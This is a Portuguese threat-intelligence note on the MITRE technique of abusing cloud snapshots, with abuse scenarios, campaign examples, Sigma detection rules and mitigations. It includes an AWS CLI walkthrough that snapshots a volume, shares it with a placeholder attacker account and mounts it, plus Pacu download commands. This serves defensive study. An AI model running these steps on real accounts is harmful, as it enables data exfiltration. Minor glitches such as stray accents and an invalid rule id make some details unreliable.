# T1578.001 - Creaté Snapshot > [!info] Técnica Pai > Esta é uma sub-técnica de **T1578 - Modify Cloud Compute Infrastructure**, que cobre todas as formas como adversários manipulam infraestrutura cloud (VMs, snapshots, volumes, imagens) para evasão de defesas, persistência ou exfiltração. ## Descrição **Creaté Snapshot** é uma sub-técnica onde adversários com acesso a um ambiente cloud (AWS, Azure, GCP, OCI) criam snapshots - cópias point-in-time - de volumes, discos ou instâncias de máquinas virtuais. O objetivo principal é **contornar restrições de acesso** a dados que de outro modo seriam inacessíveis ao atacante, ou estabelecer **persistência e backdoor** em infraestrutura cloud de forma difícil de detectar. A técnica é particularmente insidiosa porque snapshots são operações nativas e completamente legítimas usadas rotineiramente por equipes de infraestrutura para backup, migração e disaster recovery. Um adversário com permissões IAM suficientes pode criar, compartilhar e montar snapshots para acessar dados sensíveis sem precisar interagir diretamente com os sistemas protegidos. ### Cenários de abuso **Cenário 1 - Exfiltração de dados via snapshot** O adversário não tem acesso direto a um banco de dados protegido (ex: RDS instance com security group restritivo), mas tem permissão `ec2:CreateSnapshot`. Cria um snapshot do volume, compartilha com uma conta AWS controlada pelo atacante, monta o snapshot em uma instância própria, e acessa os dados diretamente no sistema de arquivos ou banco de dados. **Cenário 2 - Persistência via snapshot compartilhado** O adversário cria um snapshot de uma instância comprometida (com backdoor instalado), compartilha o snapshot como AMI pública ou com contas controladas. Mesmo que o incidente sejá detectado e a instância original sejá destruída, o adversário mantém acesso ao ambiente via lançamento de nova instância a partir do snapshot backdoored. **Cenário 3 - Evasão de monitoramento** Uma instância de VM sob investigação é "preservada" via snapshot e então destruída (com seus logs). O snapshot fica armazenado sem gerar alertas de atividade, e o adversário pode ressuscitar o ambiente posteriormente. > [!warning] Risco específico > A operação `CreateSnapshot` não requer acesso à instância em execução - apenas permissão IAM. Um adversário com credenciais cloud comprometidas pode criar snapshots de qualquer volume ao qual tenha acesso, independentemente de firewalls, security groups ou NACLs. Isso torna a técnica muito difícil de bloquear sem um controle rigoroso de permissões IAM. --- ## Como Funciona ### AWS - Exemplo completo de abuso #### 1. Identificar volumes de interesse ```bash # Listar instâncias e seus volumes aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,Tags,BlockDeviceMappings]' # Listar volumes diretamente aws ec2 describe-volumes --filters "Name=status,Values=in-use" ``` #### 2. Criar snapshot do volume-alvo ```bash # Criar snapshot - apenas permissão ec2:CreateSnapshot necessária aws ec2 creaté-snapshot \ --volume-id vol-0a1b2c3d4e5f6g7h8 \ --description "backup-prod-db-2026" \ --tag-specifications 'ResourceType=snapshot,Tags=[{Key=Name,Value=backup-prod}]' # Retorna: { "SnapshotId": "snap-0x1y2z3a4b5c6d7e" } ``` #### 3. Compartilhar snapshot com conta controlada pelo atacante (exfiltração cross-account) ```bash # Tornar snapshot acessível para conta AWS do atacante aws ec2 modify-snapshot-attribute \ --snapshot-id snap-0x1y2z3a4b5c6d7e \ --attribute createVolumePermission \ --operation-type add \ --user-ids 123456789012 # conta AWS do atacante ``` #### 4. Montar snapshot na conta do atacante e acessar dados ```bash # Na conta do atacante: criar volume a partir do snapshot aws ec2 creaté-volume \ --snapshot-id snap-0x1y2z3a4b5c6d7e \ --availability-zone us-east-1a # Atacar volume à instância do atacante e montar sudo mount /dev/xvdf /mnt/target ls /mnt/target/ # Acesso completo aos dados ``` ### Azure e GCP - Padrão equivalente | Plataforma | Operação de criação | Compartilhamento | Montagem | |-----------|--------------------|-----------------|---------| | AWS | `ec2:CreateSnapshot` | `ec2:ModifySnapshotAttribute` | `ec2:CreateVolume` | | Azure | `Microsoft.Compute/disks/write` (snapshot) | Compartilhar galeria de imagens | Attach disk | | GCP | `compute.disks.createSnapshot` | Compartilhar com outro projeto | Creaté disk from snapshot | ### Ferramenta Pacu O [[s1091-pacu|Pacu]], framework de exploração AWS open-source, inclui módulos específicos para abuso de snapshots: ``` # Módulos Pacu relevantes pacu> run ebs__enum_volumes_snapshots # Enumerar volumes e snapshots pacu> run ebs__download_snapshots # Baixar conteúdo de snapshots acessíveis ``` --- ## Attack Flow ```mermaid graph TB A([Acesso cloud comprometido<br/>Credenciais IAM roubadas]) --> B[Reconhecimento de infraestrutura<br/>Listar instâncias / volumes] B --> C{Objetivo do adversário} C -- Exfiltração de dados --> D[Identificar volume com dados sensíveis<br/>BD, EBS, persistent disk] C -- Persistência --> E[Identificar instância comprometida<br/>para clonar via snapshot] C -- Evasão --> F[Criar snapshot de instância<br/>antes de destruí-la] D --> G[Criar snapshot do volume<br/>aws ec2 creaté-snapshot] E --> G F --> G G --> H{Onde usar o snapshot?} H -- Mesma conta --> I[Criar nova instância a partir do snapshot<br/>Montar volume e acessar dados] H -- Conta do atacante --> J[Modificar permissões do snapshot<br/>ModifySnapshotAttribute] H -- Público --> K[Tornar snapshot público<br/>Acesso irrestrito - risco de exposição acidental] J --> L[Criar volume na conta do atacante<br/>creaté-volume from snapshot] I --> M[Acesso aos dados sem passar<br/>por security groups / firewalls] L --> M K --> M M --> N{Resultado} N -- Exfiltração --> O([Dados extraídos<br/>BD, configs, secrets, chaves]) N -- Persistência --> P([Snapshot backdoored armazenado<br/>Pode ser reativado a qualquer momento]) N -- Evasão --> Q([Evidências destruídas<br/>Snaphot preserva estado para o atacante]) style A fill:#c0392b,color:#fff style O fill:#e74c3c,color:#fff style P fill:#e74c3c,color:#fff style Q fill:#e67e22,color:#fff style K fill:#8e44ad,color:#fff ``` --- ## Exemplos de Uso ### Pacu - Framework de exploração AWS O [[s1091-pacu|Pacu]] (criado pela Rhino Security Labs, disponível publicamente) é a ferramenta mais documentada para abuso de snapshots em ambientes AWS. Inclui módulos para: - Enumeração de todos os snapshots acessíveis na conta (incluindo snapshots públicos de outras contas) - Download automatizado do conteúdo de snapshots - Identificação de snapshots com dados sensíveis (conexões strings de BD, chaves SSH, etc.) Red teams e atores maliciosos utilizam Pacu em campanhas de comprometimento de ambientes AWS, especialmente após obter credenciais via [[t1566-phishing|phishing]] de desenvolvedores ou vazamento de chaves em repositórios de código. ### Campanhas documentadas de abuso de snapshot **TeamTNT - Cryptomining via EC2 Snapshots** O grupo [[g0139-teamtnt|TeamTNT]], especializado em comprometimento de ambientes cloud para cryptomining, documentadamente abusou de snapshots EC2 para estabelecer persistência: após comprometer instâncias, criavam snapshots e relançavam instâncias a partir deles quando as originais eram detectadas e encerradas. **SCARLETEEL - Exfiltração de dados em ambiente Kubernetes/AWS** A campanha [[scarleteel|SCARLETEEL]] (2023, documentada pela Sysdig) demonstrou o uso de snapshots como método de exfiltração de dados de ambientes AWS. O adversário criou snapshots de volumes EBS com dados de clientes e compartilhou com conta própria para exfiltração. **Grupos de ransomware em cloud** Grupos como [[blackcat|ALPHV]] têm expandido operações para ambientes cloud. Criação de snapshots antes de criptografar volumes é uma tática para garantir acesso aos dados após o ataque, facilitando negociação de resgate. | Ator/Ferramenta | Plataforma | Objetivo | Referência | |---|---|---|---| | [[s1091-pacu\|Pacu]] | AWS | Red team / exploração | Rhino Security Labs | | [[g0139-teamtnt\|TeamTNT]] | AWS, GCP | Persistência, cryptomining | Trend Micro, Lacework | | SCARLETEEL | AWS, Kubernetes | Exfiltração de dados | Sysdig Threat Research | | [[blackcat\|ALPHV]] | AWS, Azure | Ransomware, extorsão | Microsoft, CrowdStrike | --- ## Detecção ### CloudTrail / Cloud Audit Logs - Indicadores principais A detecção primária de T1578.001 depende de auditoria de API cloud. Todas as operações de snapshot geram eventos auditáveis: #### AWS CloudTrail ```json // Evento crítico: CreateSnapshot em horário anômalo ou por usuário não-esperado { "eventName": "CreateSnapshot", "userIdentity": { "arn": "arn:aws:iam::ACCOUNT:user/USERNAME" }, "requestParameters": { "volumeId": "vol-XXXXXXXX" }, "sourceIPAddress": "1.2.3.4" } // Evento crítico: ModifySnapshotAttribute - compartilhamento com conta externa { "eventName": "ModifySnapshotAttribute", "requestParameters": { "snapshotId": "snap-XXXXXXXX", "createVolumePermission": { "add": { "userId": "EXTERNAL_ACCOUNT_ID" } } } } ``` #### Indicadores de comportamento anômalo | Indicador | Risco | Ação recomendada | |-----------|-------|-----------------| | `CreateSnapshot` por IAM role/user que nunca fez isso antes | Alto | Alertar imediatamente | | `ModifySnapshotAttribute` adicionando conta externa | Crítico | Bloquear e investigar | | Snapshot tornada pública (`group: all`) | Crítico | Alertar e revogar | | Alta frequência de `CreateSnapshot` em curto período | Alto | Investigar possível enumeração/exfiltração | | `CreateSnapshot` seguida de `TerminateInstances` | Alto | Padrão de evasão de evidências | ### Regra Sigma - AWS ```yaml title: AWS EC2 Snapshot Shared with External Account id: b2c4d6e8-1a3f-5b7d-9e2c-4f6a8b0d2e4f status: production description: Detecta compartilhamento de snapshot EC2 com conta AWS externa - possível exfiltração de dados references: - https://attack.mitre.org/techniques/T1578/001/ - https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/ author: RunkIntel daté: 2026-03-25 tags: - attack.defense_evasion - attack.t1578.001 - attack.exfiltration logsource: product: aws service: cloudtrail detection: selection: eventName: ModifySnapshotAttribute requestParameters.createVolumePermission.add.userId|exists: true filter_internal: requestParameters.createVolumePermission.add.userId|startswith: 'YOUR_ACCOUNT_ID' condition: selection and not filter_internal falsepositives: - Compartilhamento legítimo com contas de parceiros / multi-account setup autorizado - Processos de disaster recovery cross-account documentados level: critical --- title: AWS EC2 Snapshot Made Public id: c3d5e7f9-2b4a-6c8e-0f1d-5g7i9k1m3o5q status: production description: Detecta snapshot EC2 tornada publicamente acessível - exposição de dados author: RunkIntel daté: 2026-03-25 tags: - attack.t1578.001 logsource: product: aws service: cloudtrail detection: selection: eventName: ModifySnapshotAttribute requestParameters.createVolumePermission.add.group: all condition: selection level: critical ``` --- ## Mitigação | ID | Mitigação | Implementação Prática | Prioridade | |----|-----------|----------------------|-----------| | [[m1047-audit\|M1047]] | Audit | Habilitar AWS CloudTrail em **todas as regiões** com log de eventos de gerenciamento e dados; configurar alertas para `CreateSnapshot`, `ModifySnapshotAttribute`, e `CreateVolume` from snapshot; usar AWS Config Rules para detectar snapshots públicas | Crítica | | [[m1018-user-account-management\|M1018]] | User Account Management | Aplicar princípio de menor privilégio rigoroso: remover `ec2:CreateSnapshot` e `ec2:ModifySnapshotAttribute` de roles que não precisam; usar IAM Access Analyzer para identificar permissões excessivas; revisar Service Control Policies (SCPs) em AWS Organizations | Crítica | | Controle de compartilhamento | Política preventiva | Usar SCP (Service Control Policy) para bloquear `ModifySnapshotAttribute` com `userId` externo à organização; aplicar AWS Config rule `ec2-snapshot-not-publicly-restorable` | Alta | | Criptografia de volumes | Proteção de dados | Criptografar todos os volumes EBS com KMS Customer Managed Keys (CMK); snapshots de volumes criptografados herdam a criptografia - o atacante precisaria também do acesso à CMK para usar o snapshot | Alta | | Monitoramento de anomalias | Detecção | Configurar Amazon GuardDuty (detecta comportamentos anômalos de IAM), AWS Security Hub, e alertas CloudWatch para padrões de criação massiva de snapshots | Alta | > [!tip] Controle preventivo mais eficaz > A combinação de **criptografia obrigatória de volumes com CMK** + **SCP bloqueando compartilhamento externo de snapshots** + **monitoramento CloudTrail de `ModifySnapshotAttribute`** elimina a grande maioria dos vetores de abuso desta técnica. Um snapshot criptografado com CMK da organização é práticamente inútil para um atacante externo - ele não tem acesso à chave KMS. --- ## Contexto Brasil/LATAM ### Adoção cloud e superfície de ataque O Brasil lidera a adoção de cloud na América Latina, com presença de AWS, Azure e GCP em práticamente todos os grandes setores econômicos. Isso cria uma superfície de ataque significativa para T1578.001, especialmente em organizações que migraram workloads críticos sem implementar controles de segurança cloud maduros. **Setores com maior risco no Brasil** O [[_sectors#financeiro|setor financeiro]] brasileiro é o mais exposto: bancos digitais, fintechs e bancos tradicionais processam dados sensíveis de clientes em ambientes cloud. Um adversário com credenciais AWS/Azure comprometidas e permissões de snapshot tem acesso potencial a: - Volumes EBS com dados de bancos de dados de clientes - Discos de VMs com configurações de sistemas de pagamento - Snapshots de ambientes de desenvolvimento/teste com dados reais (má prática comum) **LGPD e implicações legais** Sob a [[_sectors#financeiro|Lei Geral de Proteção de Dados (LGPD)]], uma exfiltração de dados via snapshot que expõe dados pessoais de cidadãos brasileiros constitui incidente notificável à ANPD (Autoridade Nacional de Proteção de Dados) com prazo de 72 horas. A técnica é particularmente relevante porque: 1. Pode ser executada silenciosamente sem alertas nos sistemas de monitoramento tradicionais 2. O volume de dados acessível é potencialmente massivo (snapshots de BDs completos) 3. A detecção tardia é comum - snapshots podem permanecer compartilhados por dias/semanas **Grupos de ameaça com interesse em LATAM** Grupos patrocinados por estados como [[g0032-lazarus-group|Lazarus Group]] (alvos financeiros) e grupos de cibercrime organizados como [[blackcat|ALPHV]] e operadores de ransomware brasileiros têm capacidade documentada de explorar ambientes cloud. A técnica de snapshot é especialmente atrativa para: - **Espionagem**: acessar dados de órgãos governamentais sem deixar rastros em logs de acesso de aplicação - **Ransomware**: garantir cópia dos dados antes de criptografar, aumentando poder de negociação - **Fraude financeira**: acessar dados de sistemas bancários sem contato direto com bancos de dados ### Recomendações específicas para Brasil | Controle | Contexto local | Ferramenta | |---------|---------------|-----------| | Criptografia obrigatória de volumes | Requisito recomendado para dados financeiros e pessoais (LGPD) | AWS KMS CMK, Azure Disk Encryption | | Monitoramento de CloudTrail com alertas em tempo real | Detectar compartilhamento cross-account imediatamente | AWS CloudWatch, Azure Sentinel, Elastic SIEM | | Revisão periódica de permissões IAM | Remover `ec2:CreateSnapshot` de contas de serviço desnecessárias | AWS IAM Access Analyzer, Prowler | | Inventário de snapshots | Identificar snapshots não gerenciadas (shadow IT, dev/test abandonados) | AWS Config, Prowler, ScoutSuite | --- ## Referências - [MITRE ATT&CK - T1578.001](https://attack.mitre.org/techniques/T1578/001/) - Definição oficial - [Rhino Security Labs - Pacu Framework](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/) - Documentação do framework de exploração AWS - [Sysdig - SCARLETEEL Campaign Analysis](https://sysdig.com/blog/scarleteel-operation-leveraging-terraform-kubernetes-and-aws-for-data-theft/) - Caso real de exfiltração via cloud - [AWS - Snapshot Security Best Practices](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSSnapshots.html#snapshot-permissions) - Documentação oficial AWS - [Wiz Research - AWS Snapshot Attacks](https://www.wiz.io/blog/the-cloud-ransomware-attack-vector-you-might-not-know-about) - Análise de ataques de ransomware via snapshots **Notas relacionadas:** - [[s1091-pacu|Pacu]] - principal ferramenta documentada para exploração de snapshots AWS - [[g0139-teamtnt|TeamTNT]] - grupo com uso documentado de técnicas cloud incluindo snapshots - [[m1047-audit|M1047 - Audit]] - mitigação central para detecção - [[m1018-user-account-management|M1018 - User Account Management]] - controle preventivo IAM - [[t1578-002-create-cloud-instance|T1578.002 - Creaté Cloud Instance]] - frequentemente usada em conjunto (criar instância para montar snapshot) - [[t1578-004-revert-cloud-instance|T1578.004 - Revert Cloud Instance]] - sub-técnica relacionada para evasão via revert --- *Fonte: [MITRE ATT&CK - T1578.001](https://attack.mitre.org/techniques/T1578/001)*